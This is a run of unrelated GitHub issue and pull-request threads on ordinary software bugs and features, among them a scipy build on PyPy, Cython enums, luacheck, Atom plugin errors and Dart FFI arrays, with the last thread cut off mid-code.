Describe your issue.
Hi!,
When trying to install scipy on pypy 7.3.7, it fails due to numpy failing to build - this happens even if numpy has been previously installed.
This issue has been raised here https://github.com/pypa/pip/issues/10631 - but it doesn't seem to be  a pip problem.
I'm just copying the example submitted by @gwerbin - but further troubleshooting has been done on the aforementioned thread.
Thanks,
Carlos
Reproducing Code Example
#How to Reproduce

/usr/local/bin/pypy3 --version
# Python 3.7.12 (44db26267d0a38e51a7e8490983ed7e7bcb84b74, Oct 28 2021, 05:11:03)
# [PyPy 7.3.7 with GCC Apple LLVM 13.0.0 (clang-13<IP_ADDRESS>)]

/usr/local/bin/pypy3 -m venv ./my-project
./my-project/bin/python -m pip install -U pip setuptools wheel

#This works fine:

./my-project/bin/python -m pip install numpy

#This does not:

./my-project/bin/python -m pip install -U scipy

#But this works fine (until it hits the unrelated Cython error):

./my-project/bin/python -m pip install --no-use-pep517 -U scipy

Error message
< ... huge build log and traceback ... >

    AssertionError: would build wheel with unsupported tag ('pp37', 'pypy37_pp73', 'macosx_10_7_x86_64')
    ----------------------------------------
    ERROR: Failed building wheel for numpy
  Failed to build numpy
  ERROR: Could not build wheels for numpy, which is required to install pyproject.toml-based projects
  ----------------------------------------

SciPy/NumPy/Python version information
1.7.1 1.21.2 sys.version_info(major=3, minor=8, micro=12, releaselevel='final', serial=0)

Thanks @carlosyanez. Investigated and commented on https://github.com/pypa/pip/issues/10631. I'll close this to avoid having a duplicate issue. In case the discussion turns up that it is a SciPy issue after all, we can reopen.


0.4.1

The main goal of this PR is to make a patch release so that the currently broken Handcrafting Transactions documentation is fixed.  See https://docs.bigchaindb.com/projects/py-driver/en/latest/handcraft.html#bicycle-asset-transfer-revisited for instance:

Please note:

This is for the 0.4.1 patch release.
The pull request is against the branch 0.4
The CHANGELOG commit will be cherry picked into master afterwards.

Codecov Report

Merging #318 into 0.4 will not change coverage.
The diff coverage is 100%.

@@           Coverage Diff           @@
##              0.4     #318   +/-   ##
=======================================
  Coverage   99.15%   99.15%
=======================================
  Files           9        9
  Lines         236      236
=======================================
  Hits          234      234
  Misses          2        2

I will let @muawiakh review this PR because he was testing the Handcrafting Transactions docs and knows what to look for.

Also, I verified the handcrafting guide. So we can merge this.


Tabbing causes crop to exceed image dimensions

When I tab through my page and it iterates over the crop handles in my react-image-crop component, it shifts the image past the image boundries, when it highlights the crop handle. It only does this when the existing crop is flush with image border.
Here's a gif demonstrating this. Notice what happens when I tab to the third (bottom right) crop handle:

Is there a way to avoid this?

Hey, thanks for finding this. Please try 10.0.3

That was quick!
10.0.3 partially works. The issue is no longer there for horizontal images, but it's still there for vertical ones:

No rush! Thanks for creating this library, it's extremely useful and clean.

No rush! Thanks for creating this library, it's extremely useful and clean.

Thanks! Please try 10.0.4

its not working

need preview


Add predict_weight_with_inputs_outputs function

Given a set of UTXOs, I'd like to predict the size of any arbitrary combination of that set.  This is useful for calculating the fee of the UTXO selection since one needs to know the weight to know the fee: fee = weight * fee_rate.  The current predict_weight function does the math I'm looking for however I only care about the UTXOs (TxOut).  I don't know the use cases for predict_weight so I did not want to change the api or results of that function.

Now that I think of it, I could probably just pass an empty vec to predict_weight as inputs and create the iterable type on the client side but I think this interface is nicer.

@Kixunil that's a good idea to just construct the transaction.  Maybe I'll do that for now.  However coin-selection algos can try many thousands of UTXO combinations.  Wouldn't it be much slower to construct a transaction each time?

It would but ideally they shouldn't construct TxIns until they need them (they actually can't construct them correctly anyway) in which case just use the current predict_weight API.

I think I'm overthinking this and can just use TxOut.weight() for each TxOut.  Closing for now.


Add option to show only bad configured packages

Before
❯ hpm at master ✔ package-config-checker | wc -l
     630

After
❯ hpm at master ✔ package-config-checker --bad-only | wc -l
     104

Thanks for the Pull Request.
There's an issue for this feature (#3) which has a couple of other things which would need to be implemented:

You lose the context of the left padding prefix when skipping packages, so it should probably not be used
After removing prefix, you now have no idea where the package lives, so you'd need to provide that information, e.g. printing the dependency path to it in some form
It's probably also redundant to print figures.cross when you know every package being logged is "bad" (see the issue for discussion on the flag name)

Oh, my bad 😩 I dit not saw the issue 😓 I'll make the changes and resolve the conflicts tomorrow 😊


Note to Huadong

Hi Huadong,
I've been running succesful tests of CapsNets with Pytorch and would like to compare notes with you. Maybe we can take our discussion offline?
My email is<EMAIL_ADDRESS>Let me know!
Tarry

@TarrySingh I'v sent you an email,please check it

Got it!


arrays.some

some calls a function (the "test" function, defined by you) on each element of an array, and returns a boolean indicating whether or not the test function returned a truthy value for any element in the array. It "short circuits" as much computation as possible by terminating the array iteration as soon as an element is encountered for which the test function returns a truthy value
Checklist

[x] implementation
[x] tests
[x] jsdoc

Details
function gotMilk(array) {
 return array.some((x) => x === 'milk');
}

gotMilk(['juice', 'water']); // false
gotMilk(['juice', 'milk', 'water']); // true

References

Array.prototype.some - MDN
Everything you need to know about array reduce

Added in 0.26


Issue related to the BRAM inference

After latest changes in synth_ql regarding the BRAM inference got the following issue for qlf_k6n10f family:
BRAM: RegFilePlugin_regFile.0.0.0 ($__RSF_FACTOR_BRAM18_TDP) + RegFilePlugin_regFile.1.0.0 ($__RSF_FACTOR_BRAM18_TDP) => bram_RegFilePlugin_regFile.0.0.0_RegFilePlugin_regFile.1.0.0 (BRAM2x18_TDP)
terminate called after throwing an instance of 'std::out_of_range'
what():  Cell::getParam()
The test benchmarks are attached.
ethernet_mac.zip - top_module = eth_top
VexRiscv.zip - top_module = VexRiscv

Thank you for reporting the issue. I've managed to reproduce it locally. Working on a solution.

Hi @lilitrs, I've opened a PR: https://github.com/chipsalliance/yosys-f4pga-plugins/pull/348 that fixes your problem. I tested it on both of your designs and it looks OK now.

Verified. Closing the issue as it is fixed.


Create generic methods for database interaction

Create generic methods that accepts all model data types as input for the following actions:

[x]  Get all documents
[x] Get document
[x] Delete document
[x] Update document
[x] Create document

Adding additional method to get related documents

[ ] Get related


Link to autometrics-shared for the dashboards & alerts

https://github.com/autometrics-dev/autometrics-shared

Was already part of https://github.com/autometrics-dev/autometrics-py/pull/16


Opening an invalid URI with netman.read causes a neovim error

See #116 for details. Error throw
Error detected while processing BufReadCmd Autocommands for "scp://*":
Error executing lua callback: ...nv/netman/data/nvim/lazy/netman.nvim/lua/netman/init.lua:51: attempt to index field 'data' (a nil value)
stack traceback:
        ...nv/netman/data/nvim/lazy/netman.nvim/lua/netman/init.lua:51: in function 'read'
        ...env/netman/data/nvim/lazy/netman.nvim/lua/netman/api.lua:247: in function <...env/netman/data/nvim/lazy/netman.nvim/lua/netman/api.lua:243>

The issue here is that netman.read wraps the api and opens remote files if they need to be opened. It isn't (currently) checking the success attribute on the return from netman.api.read, and thus attempts to process the return results as if it is successful even if its not.

A note, netman.api.read does log the proper error and returns the appropriate results on an invalid URI read. This is purely in the netman.read helper/wrapper.


build: rename CFLAGS to AM_CFLAGS

The CFLAGS variable is reserved and should never be set:
https://www.gnu.org/software/automake/manual/html_node/User-Variables.html
I had run into some issues with this, where the compiler did not like that this configuration meant we were attempting to list all CFLAGS variables twice on the command line.
I also simultaneously dropped support for automake < 1.14, released in 2013.

I also simultaneously dropped support for automake < 1.14, released in 2013.

Looks like this will break the CentOS/RHEL7 automake builds on the CI: https://ci.nodejs.org/job/libuv-test-commit/2215/

automake 1.14 was released more than a year before RHEL7 was released. Did I just mess up my test? How can it still be so far behind? https://en.wikipedia.org/wiki/CentOS#CentOS_version_7

Anyways, I can put it back. The main reason I deleted it was on the assumption that we had no test coverage, and so couldn't be certain it was still working.

CI: https://ci.nodejs.org/job/libuv-test-commit-linux/2298/
will merge if green


[ENH] Pure Python support for Enum

Is your feature request related to a problem? Please describe.
Currently one can write in Cython an enum using cpdef, which exposes it to Cython and Python. However there doesn't appear to be a way to do this in pure Python (aside from declaring the enum in a .pxd file alongside the .py file). It would be useful to have some kind of syntax to declare an enum in pure Python, which provides an efficient C implementation around it. Though must admit am a bit clueless on what this would need to look like.
Describe the solution you'd like
Given the current use of decorators for other Cython objects in pure Python (like cclass and cfunc), one approach might be to use a decorator here like so.
from cython import cenum

@cenum
class Status:
    stopped: "Py_ssize_t" = 0
    running: "Py_ssize_t" = 1

Describe alternatives you've considered
Though another option might be to use a base class for all Cython enums. Not sure if this has any advantaged over the former.
from cython import CEnum

class Status(CEnum):
    stopped: "Py_ssize_t" = 0
    running: "Py_ssize_t" = 1

Another potential option would be to follow the syntax Python itself uses and allow cclass (or perhaps still cenum) to handle this case (only using Enum as hint).
from cython import cclass
from enum import Enum

@cclass
class Status(Enum):
    stopped: "Py_ssize_t" = 0
    running: "Py_ssize_t" = 1

There might be other variants on this that I'm not aware of that would be better still.
Additional context
NA

Would be curious to get your thoughts on this, @da-woods 🙂

I'm not sure - probably the @cenum decorator is clearest, but we might want to distinguish between cdef enum and cpdef enum which I think are different in terms of visibility to Python.
The one thing I don't like here is annotating each enum value with "Py_ssize_t". Given that all the values in an enum must have the same type, it seems redundant (and possibly a problem if two types contradict each other)
I'm possibly the wrong person to ask though. The push towards "everything should be do-able in pure-Python mode" is really coming from @scoder. I agree it seems like a good idea, but it isn't specifically my project.

I'll close this as a duplicate of https://github.com/cython/cython/issues/4252 to have all this discussion in one place though. If there's anything in your comment that you don't feel is covered there please do repost it there though

Thanks! 😄
Ah ok. Was thinking you might be interested because of the dataclass work. Sorry for misinterpreting things
Will keep the rest of the discussion in that issue


chore sourceID deprecated for sourceid

just a chore change to prevent error to display deprecated sourceID instead of sourceid.

Shame on me, I left a few others of that kind issues in the code :)
Thank you for cleaning this up

Feel free to switch to ready for review when you think the PR is ready to be merged :)

sorry I missed the comment ... thanks for your patience.


Check "docker 4 windows" workflow

Check if these steps work...
https://github.com/4minitz/4minitz/blob/develop/doc/admin/adminguide.md#docker-setup-on-windows

Team estimation for effort: 2 hours

Done


GH-585 Fixed PUT without body

Description

Motivation and Context

Fixes #585
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have added tests to cover my changes.

:+1:


Not connecting to network & btc balance disappeared

I'm new to this but followed  the instructions, uploaded btcs to the wallet & sent some off to another wallet. This was when it stopped sending lost connection & has not connected / shown btc balance since?
Hope I can get the coins back.

Sound like the same issue as me. I posted yesterday with the error log.

So long as you have your wallet words (seed phrase) you'll be able to get your bitcoins back. Not connecting to a network sounds like you have a firewall or other related issue. Can you verify that you've read this article: https://multibit.org/en/help/hd0.1/verify-network.html.

This sounds very similar to #697 which contains more information so I'll close this as a duplicate.


Multi-line fence statements sometimes continually indent on format

Given this example:
import IO from "IO"
import List from "List"

fencer :: Integer -> Integer -> Integer
fencer = (a, b) => #-{
  return Math.round(Math.random() * a) + b
}-#

racingFencer :: Integer -> Integer -> Integer
racingFencer = (a, b) => #- {
  return Math.round(Math.random() * a) + b
} -#

main = () => {}

☝🏼 If madlib format is run on this, the second definition (with spaces on the fence) will continually move rightward. e.g. if you format three times, it will indent 3 spaces on the left (moving the text rightward)

closed by #111


Refetch claimable tokens each 30 seconds

This PR adds a way to refetch claimable tokens each 30 seconds to keep it up to date.

this looks good. do we still need the original call to setClaimableUnderlyingTokens(claimableTokens);?

this looks good. do we still need the original call to setClaimableUnderlyingTokens(claimableTokens);?

I would say yes, the original call happens at the beginning, after 30 seconds the polling starts


Specifying locale specific text in options

Hi,
Is it possible to specify language specific strings in the initialization options?
I'm currently using different .json files for the image descriptions, but I'd also like to change the 'click or touch ... ' text.
Please note that the text needs to be dynamically adjusted based on the current locale, so hard coding the text isn't an option.
I was thinking of adding a global object with translation strings. I suspect there should be a more elegant solution for this problem though.
Thanks a bunch! Excellent plugin.

Hi @milansimek !
You can definitely do it. Code example is at https://github.com/emotionLoop/visualCaptcha-frontend-core#visualcaptcha-options in the language property.
Because you want it to be dynamic, I'd suggest you build something that puts the correct language options in there when initializing it.
I cannot make this a default part of visualCaptcha, though, because people have many different valid implementations.
Let me know if I can be of any further help!

Perfect, thanks a lot!


angel start OSX 10.11.6 fails two separate ways

First ran angel init demonic_chat then angel start and got this error:
Starting server...
Unhandled error occurred: SocketException: OS Error: Connection refused, errno = 61, address = localhost, port = 58886
#0      _ConnectionManager._connect.<_connect_async_body> (package:mongo_dart/src/network/connection_manager.dart:24:5)
#1      _asyncErrorWrapperHelper.<anonymous closure> (dart:async-patch/async_patch.dart:34)
#2      _rootRunBinary (dart:async/zone.dart:1170)
#3      _CustomZone.runBinary (dart:async/zone.dart:1049)
#4      _FutureListener.handleError (dart:async/future_impl.dart:146)
#5      _Future._propagateToListeners.handleError (dart:async/future_impl.dart:649)
#6      _Future._propagateToListeners (dart:async/future_impl.dart:671)
#7      _Future._completeError (dart:async/future_impl.dart:485)
#8      _Future._asyncCompleteError.<anonymous closure> (dart:async/future_impl.dart:537)
#9      _rootRun (dart:async/zone.dart:1150)
#10     _CustomZone.run (dart:async/zone.dart:1026)
#11     _CustomZone.runGuarded (dart:async/zone.dart:924)
#12     _CustomZone.bindCallback.<anonymous closure> (dart:async/zone.dart:951)
#13     _microtaskLoop (dart:async/schedule_microtask.dart:41)
#14     _startMicrotaskLoop (dart:async/schedule_microtask.dart:50)
#15     _runPendingImmediateCallback (dart:isolate-patch/isolate_patch.dart:96)
#16     _RawReceivePortImpl._handleMessage (dart:isolate-patch/isolate_patch.dart:149)

then tried dart bin/server.dart and got the same error. After this I tried to replicate this by running angel init angel_test and then angel start and got this error(dart bin/server.dart also throws this error):
Starting server...
Unhandled exception:
Could not import "package:intl/intl.dart" from "file:///Users/torchhound/angel_test/bin/common.dart": Could not resolve a package location for base at file:///Users/torchhound/angel_test/bin/server.dart
null

The application boilerplate is set up to connect to a MongoDB server. If none is running (i.e. a daemon), it will crash. There are three options: remove the database code from the application (not recommended, as this would require you to rewrite your application to use in-memory data stores for services, instead of a persistent DB), rewrite the code to support a different database you have running (RethinkDB is supported. PostgreSQL and a few others are on their way), or install MongoDB (simplest way). I will include documentation about this in the project README. The only issue people ever have with Angel is failures with angel init, and that is because I failed to provide a list of prerequisites to install.

angel_test is an actual Pub package already, and it is imported by the 'angel_common' package, so creating your own package with the same name will inevitably crash your application.

Hope I was of help!

Update: See Prerequisites.

I feel rather silly, thanks for the prompt help. Perhaps you could add installing MongoDB/having it running to the website in the Getting Started section. Great website by the way!

Great idea, and thank you very much!


Single selection adds invisible remove

On the demo page, if you select a value under the single selection and then click on it to remove, the cursor is 24 pixels to the right.
That's because when you have multiple items, they have to be spaced apart.
I think having a visible remove (X on the right side) for a single item would be nice, but the issue here is that is adding an invisible remove button causing the space.

@btecu This addon just proxies everything to selectize. That's a selectize issue. Selectize is not maintained anymore, though. :(

I don't think it's a selectize issue. You can try their demo and you'll see this does not happen.

@btecu That demo is old. It's from the early days when ember-selectize wasn't an ember-cli-addon.
Meanwhile, selectize's styles corrected that.
Related with #18.
Still didn't have the time to come up with an updated demo app.

I'm using the latest version of ember-cli-selectize and I have the same issue, so I don't think it's just the demo page.


Enhance the style of the checkboxes for multi-selection

Description
Enhance the style of the checkboxes for multi-selection by applying the selected style, if available, to the checkboxes that are currently selected.
Examples
Old or without style specified

With multiselection style specified with .HighlightStyle(new Style(Color.Red))

Reason
I would like the X on the selected checkboxes to have the same style as the multiselection highlight to avoid any mismatched color combinations

@microsoft-github-policy-service agree

I truly hope this gets merged, it's truly painful for designing that the color isn't matching.

Thansk @SypherrDev, I'm waiting for someone review to be able to complete these PR. 😃

@davide-pi Could you perfom a rebase on your branch instead of a merge as per our CONTRIBUTING.md instructions?

Sure sorry @patriksvensson. Fixed thanks!


Use more common syntax for Ex commands

This way is the "approved" way to call a command and also allows chaining commands in case you want to implement that later.

LGTM


Feature: Support for optional chaining #9209

Meanwhile I found this 🤦 https://github.com/golang/go/issues/43608


Create Background!

created background
(when pulled delete CNAME)
View it here:
http://monopoly.nedhome.ml

I suggest you to squash the changes.

How to squash?

You can use interactive rebase git rebase -i following with the branch name or number of commits HEAD~N where N is a number.  Then you change the letters p to s of the commits you want to squash.
I am not sure, but something like
git rebase -i gh-pages
might work as well and then you won't need to count commits.

I can't use git (I use Github.com, not Git)

I definitely recommend squashing all those "Update styles.css/index.html" (which by the way is a very uninformative commit message) as to not pollute the commit history.

Better version ( see #20 )


Not working in NINA

NINA doesn't work with your ASCOM driver.  It can connect and open the cover fine. But after asking NINA to open the cover, it times out, preventing me from closing the cover.
I ran the driver along with NINA in Visual Studio to investigate this and I think I know what happens. When lauching the driver, NINA has the switch defaulted to Off and the cover is closed by default of course. All is well for now.  When activating the switch to open the cover, it does so and NINA starts polling the GetSwitchValue method and it expects it to return a 1 when the switch is ON ( i.e cover open). Your driver outputs the opposite. It happens here :
     public double GetSwitchValue(short id)
        {
            Validate("GetSwitchValue", id);
            tl.LogMessage("GetSwitchValue", $"GetSwitchValue({id}) - not implemented");
            return QueryDeviceState() ? 1.0 : 0.0;
        }

So the solution is simple :
return QueryDeviceState() ? 0.0 : 1.0;
and also
internal static string traceStateDefault = "true";
Maybe  a switch driver is not the best option for this application.
Personnaly I would have used a Flatplanel template for the driver, instead of a switch. Even if you don't have an actual flat panel in the cover,  the template provides the methods for the motorised part. So you can just leave the flat side in the code and just implement the motor part.
Also I already have a power box occupying the switch part of NINA, so it's not helpful to have to change driver just to move the cover.

@Antiath I have been using my driver and my device in NINA for well over a year (totaling about 50 nights) and it has worked very reliably.
QueryDeviceState() returns true if the cover is open, and false otherwise, which means that GetSwitchValue() will return 1.0 if the cover is open, and 0.0 otherwise. That is the expected behavior.

Ah yes my bad, ths issue was with the firmware. I had to modify it a bit to accomodate my servomotor who was weirdly turning the opposite way. And I forgot to check change the state variable accordingly to match this. That is corrected and working as expected now. Case closed.
Nevertheless I will probably reuse the code for and port it to a different driver


bad message when no lfs

Sometime, I run luacheck without lfs (see https://github.com/mpeterv/hererocks/issues/33)
luacheck src/*.lua works as usual, but luacheck src gives:
Checking src                                      I/O error

    src: couldn't read: Is a directory

Total: 0 warnings / 0 errors in 0 files, couldn't check 1 file

This message is not helpful.
It doesn't give an information about the lack of lfs.
It doesn't give the workaround with src/*.lua.

src/*.lua doesn't work for files in nested directories, But it is a good idea to warn that luafilesystem is missing when trying to check a directory without it. Not sure if comparing error message with Is a directory is a robust way to detect this case, particularly on Windows. Probably will need to detect directories using os.execute with some console command.

The message Is a directory comes from the C strerror function, so it is OS dependent.
In https://github.com/mpeterv/luacheck/blob/master/src/luacheck/utils.lua#L20, "couldn't read: " could be replaced by "couldn't open: ".

Fixed on dev branch:
Checking src                                      I/O error

    src: LuaFileSystem required to check directories

Total: 0 warnings / 0 errors in 0 files, couldn't check 1 file


Disallow quoted strings from spanning lines (just like you can't in C).

This was never intentionally allowed; it was just a bug in the lexer's
regex describing a quoted string. The compiler would accept it silently,
but in the process forget the line count and botch subsequent error
messages.

LGTM

Would it be hard to support something like C++11's raw strings?

I don't think it would be hard. Would it be better to allow line-spanning strings, but just be sure to get the line counting correct?
Would you want the R"" syntax of C++, or should we just allow all strings to span lines if people really want? Are there bugs that this would mask?

I think making it explicit with the r"" syntax would be easiest and less likely to be invoked by accident. But then again multi-line hardcoded strings in shader code are so unlikely that its not clear how much benefit there is.

Let's put the raw string feature off until somebody requests it and has a compelling use case.


[tls] Remove support for pthread tls

Alternative to #31030, #31036
It's looking likely that our pthread TLS implementation is no longer necessary.
@dennycd is going to confirm.
Assuming that's the case, let's finally delete this gunk.

@dennycd I'm having a heck of a time sorting out ios deployment versions in this PR so I'll probably ask for some help with that piece assuming we can move forward with this.

Updating w/ deployment target change removed. TLS was introduced by Apple from XCode 8.x and up

https://stackoverflow.com/a/29929949
WWDC 2016 What's New in LLVM

@dennycd shellcheck seems to be having trouble with changes to one of the shell scripts here, could you ptal

objc/iOS tests now all pass, a few summary notes below

grpc_objc_bazel_test:  This is bazel-based run on newer MacOS 12.3 Monterey node with Xcode 13.3 (Clang 13.1.6).  Our iOS configuration is (target device: iPhone 11, min deployment version: 9.0).  This part is consistent w/ what we know about the TLS Apple support post Xcode 8/iOS 8.x. similarly for grpc_basictests_objc_ios

grpc_basictests_cpp_ios:  Cocoapod based run on older MacOS 10.14 Mojave node with Xcode 11.3 (Clang 11.0). Our passing iOS configuration is (target device: iPhone 11, min deployment version: 10.0)

as tested, deployment versions below 10.0 appears not yet supporting TLS w/ thread_local

The discrepancy from # 2 likely come from running on MacOS Mojave node with older Xcode toolchain (XCode 11.3) which may not yet fully support TLS on all device targets.
Would recommend we upgrade grpc_basictests_cpp_ios to MacOS Monterey node in order to remove this configuration discrepancy (cl/475944915). ;  )


support habana FP8 per channel quantization

Type of Change
feature
Description

[x] support per channel quantization for higher accuracy
[x] add observer registry for easy extension
[x] dump scale_inv from observer to align with Habana Quantization Toolkit
[x] move observer device to cpu to avoid program hangs

Expected Behavior & Potential Risk
UT pass
How has this PR been tested?
local test

Will add UTs later


Create tool to create minor release foundation

Create a tool that sets up new minor version foundation.
Steps:

Copy everything from the previous latest version
Change the checksum paths
Open PR
Once that passes, change the project versions
Open PR

closed by https://github.com/aws/eks-distro/pull/1656


Size of math within \text in context with modified font size

This is extremely low priority, but you might be interested. I noticed that font sizing of encapsulated math within a \text does not respect the sizing of the context. Take for example
x^{\text{a $n$}} \sum_{\substack{k \geq 0 \\ j \geq 0 \\ \text{and $k > j$}}} f(k,j)
The "a" and the "and" are rendered in the correct, smaller size, but the math within the \text is rendered at regular size.
I attach screenshots from the project demo and from latex.
cLaTeXMath:

LaTeX:

The math environment is the default for this project, this issue may be related it, I'll check it soon.


Add Laos flag

@jamcgrath Awesome work! Thank you for contributing. Merging this. :smile:
Keep contributing! :smile:


Failed to activate the nuclide-test-runner package

I'm getting a ton of the deprecationSite.getFileName is not a function errors with the new beta, but only for nuclide packages :confused:
Atom Version: 1.2.0-beta0
System: Mac OS X 10.10.5
Thrown From: Atom Core
Stack Trace
Failed to activate the nuclide-test-runner package
At deprecationSite.getFileName is not a function

TypeError: deprecationSite.getFileName is not a function
    at Object.global.__grim__.deprecate (/Applications/Atom Beta.app/Contents/Resources/app.asar/node_modules/grim/lib/grim.js:56:36)
    at Object.defineProperty.get [as TextEditor] (/Applications/Atom Beta.app/Contents/Resources/app.asar/exports/atom.js:38:14)
    at Object.<anonymous> (/Users/kietsy/git/nuclide/pkg/nuclide/ui/atom-text-editor/lib/AtomTextEditor.js:16:13)
    at Module._compile (module.js:434:26)
    at Object.defineProperty.value [as .js] (/Applications/Atom Beta.app/Contents/Resources/app.asar/src/compile-cache.js:190:21)
    at Module.load (module.js:355:32)
    at Function.Module._load (module.js:310:12)
    at Module.require (module.js:365:17)
    at require (module.js:384:17)
    at Object.load (/Users/kietsy/git/nuclide/pkg/nuclide/atom-npm/lib/main.js:62:31)
    at Object.<anonymous> (/Users/kietsy/git/nuclide/pkg/nuclide/ui/atom-text-editor/lib/main.js:12:46)
    at Module._compile (module.js:434:26)
    at Object.defineProperty.value [as .js] (/Applications/Atom Beta.app/Contents/Resources/app.asar/src/compile-cache.js:190:21)
    at Module.load (module.js:355:32)
    at Function.Module._load (module.js:310:12)
    at Module.require (module.js:365:17)
    at require (module.js:384:17)

Commands
     -0:35 window:toggle-dev-tools (ol.tree-view.full-menu.list-tree.has-collapsable-children.focusable-panel)

Config
{
  "core": {
    "excludeVcsIgnoredPaths": false,
    "disabledPackages": [
      "atom-color-highlight",
      "atom-pair",
      "atomatigit",
      "autocomplete",
      "autocomplete",
      "es-navigation",
      "filetype-color",
      "grunt-runner",
      "incremental-search",
      "linter-scspell",
      "markdown-scroll-sync",
      "metrics",
      "minimap-color-highlight",
      "minimap-find-and-replace",
      "minimap-git-diff",
      "minimap-highlight-selected",
      "minimap",
      "navigate",
      "starred-package-installer",
      "symbols-tree-view",
      "tab-smart-sort",
      "Tern",
      "test-status",
      "themed-settings",
      "travis-ci-status",
      "tree-view-breadcrumb",
      "tree-view-open-files",
      "welcome",
      "nuclide-click-to-symbol",
      "nuclide-quick-open",
      "hyperclick",
      "linter-jshint",
      "nuclide-file-tree",
      "nuclide-flow",
      "nuclide-file-tree-deux",
      "markdown-preview-opener",
      "nuclide-diagnostics-store",
      "nuclide-diagnostics-ui",
      "nuclide-debugger-node"
    ],
    "projectHome": "~/vcs/git/",
    "autoHideMenuBar": true
  },
  "editor": {
    "fontFamily": "Fira Code, Symbola, Droid Sans Fallback",
    "scrollPastEnd": true,
    "invisibles": {},
    "zoomFontWhenCtrlScrolling": false,
    "backUpBeforeSaving": true,
    "fontSize": 15
  }
}

Installed Packages
# User
angularjs, v0.3.3
atom-alignment, v0.12.1
atom-ternjs, v0.8.4
atom-zeal, v0.1.3
autocomplete-emojis, v2.2.2
autocomplete-paths, v1.0.2
block-travel, v1.0.2
bug-report, v0.7.1
clipboard-plus, v0.5.1
color-picker, v2.0.13
compare-files, v0.6.2
docblockr, v0.7.3
editorconfig, v1.2.0
file-icons, v1.6.11
git-log, v0.4.1
go-plus, v3.5.1
grammar-token-limit, v0.1.1
highlight-selected, v0.10.1
imdone-atom, v1.1.51
indentation-indicator, v0.6.0
javascript-snippets, v1.0.0
language-docker, v1.1.3
language-dot, v1.6.0
language-fish-shell, v1.0.2
language-haskell, v1.4.12
language-latex, v0.6.1
language-nimrod, v0.1.0
language-puppet, v0.15.0
language-tss, v0.4.0
latex, v0.28.0
linter, v1.10.0
linter-coffeelint, v1.1.2
linter-eslint, v3.2.1
linter-flow, v3.1.3
linter-htmlhint, v0.2.1
linter-js-standard, v3.2.1
linter-js-yaml, v1.1.2
linter-puppet-lint, v0.6.1
linter-shellcheck, v1.0.2
nuclide-arcanist, v0.0.0
nuclide-blame, v0.0.0
nuclide-blame-provider-hg, v0.0.0
nuclide-blame-ui, v0.0.0
nuclide-buck-files, v0.0.0
nuclide-clang-atom, v0.0.0
nuclide-code-format, v0.0.0
nuclide-debugger-atom, v0.0.0
nuclide-debugger-hhvm, v0.0.0
nuclide-debugger-lldb, v0.0.0
nuclide-diff-view, v0.0.0
nuclide-file-watcher, v0.0.0
nuclide-find-references, v0.0.0
nuclide-fuzzy-filename-provider, v0.0.0
nuclide-hack, v0.0.0
nuclide-hack-symbol-provider, v0.0.0
nuclide-hg-repository, v0.0.0
nuclide-installer, v0.0.0
nuclide-language-hack, v0.0.0
nuclide-objc, v0.0.0
nuclide-ocaml, v0.0.0
nuclide-open-filenames-provider, v0.0.0
nuclide-remote-projects, v0.0.0
nuclide-test-runner, v0.0.0
nuclide-toolbar, v0.0.0
nuclide-type-hint, v0.0.0
one-tab, v0.8.0
package-cop, v0.2.10
package-sync, v0.2.0
pdf-view, v0.34.0
pigments, v0.18.1
react, v0.12.10
regex-railroad-diagram, v0.10.4
swap-panes, v0.2.0
tabs-to-spaces, v0.11.1

# Dev
No dev packages

Same!

Also receiving these. Renders Atom unusable :disappointed:

cc @scv119

Same here.

Same here. Using the latest Atom version not the beta.

Same here. I've tried both the latest stable and latest beta with the same exceptions.

+1

Same here.

+1

+1

+1

+1

Closing in favor of https://github.com/facebook/nuclide/issues/246 @scv119 is looking into it on facebook's side.

+1

the editor has crashed. any tips?


so much lag

hello sir ive got so much weird lag on my server if you can help me with that

Please give a screenshot of /sf versions

If you havent already please update to the latest version. A contributor completely revamped WATER_MILLs to be much more efficient.

Any updates on this?


Blue screen of death on Calibration

I have a problem when running calibration. The calibration.exe window opens up to a blue screen, but then windows crash a second later to blue screen of death. Error message is BlackMagicIO.sys.
Anyone know how I can go about fixing this? Is this a problem with my capture card? when I take the card out the calibration window opens up to a blue screen but does not crash.

If you run the Blackmagic Media Express application, do you see a live video feed?
I have made some changes to the calibration app here that may address this: https://github.com/fieldsJacksonG/MixedRealityCompanionKit/tree/master/SpectatorView/Calibration

Thank you for your reply,
Yes I do see a live feed through the Blackmagic Media Express application.


[ffi] Support inline array of variable length

Right now we're disallowing inline arrays of length 0.
I believe when I added inline arrays, I read that length 0 is undefined behavior, so I disallowed length 0.

Declaring zero-length arrays is allowed in GNU C as an extension. A zero-length array can be useful as the last element of a structure that is really a header for a variable-length object

https://gcc.gnu.org/onlinedocs/gcc/Zero-Length.html

_Originally posted by @jpnurmi in https://github.com/dart-lang/native/issues/450
We should double check.

And on Windows apparently variable length can be size 1 (instead of 0).

https://github.com/dart-lang/native/issues/1200#issuecomment-2157897238

@dcharkes Is there any chance we could configure the variableLengthLength value in the @Array.variable() constructor?
https://github.com/dart-lang/sdk/blob/c50c194d419c09bdbc9267eb8ed045819fb0beed/sdk/lib/ffi/ffi.dart#L247-L260
In Win32 structs, the majority of the variable-length arrays have a length of 1, though I've come across some cases with lengths of 3 and even 6 😱. In its current state, I can't use @Array.variable() in Win32 structs exposed in package:win32 because sizeOf doesn't account for these fields.
It would be really helpful if this could be configurable to support this use case.

In its current state, I can't use @Array.variable() in Win32 structs exposed in package:win32 because sizeOf doesn't account for these fields.

You mean you cannot use it at all, or that for using Allocators and sizeOf in Dart you have to account for the extra size. Can you elaborate on what issues you're facing?

though I've come across some cases with lengths of 3 and even 6

🤣

Is there any chance we could configure the variableLengthLength value in the @Array.variable() constructor?

If you have a convincing use case, that sounds like a reasonable solution. 👍

You mean you cannot use it at all, or that for using Allocators and sizeOf in Dart you have to account for the extra size. Can you elaborate on what issues you're facing?

I'm concerned that calloc not initializing these fields and sizeOf not taking them into account could lead to some unexpected results.
For example, some Win32 structs include a field (typically the first one) for their size and we're supposed to set this field with sizeOf.
In one example from package:win32 there's this code:
// ...
      final deviceInterfaceDetailDataPtr = calloc<BYTE>(requiredSizePtr.value)
          .cast<SP_DEVICE_INTERFACE_DETAIL_DATA_>()
        ..ref.cbSize = sizeOf<SP_DEVICE_INTERFACE_DETAIL_DATA_>();

      try {
        final hr = SetupDiGetDeviceInterfaceDetail(
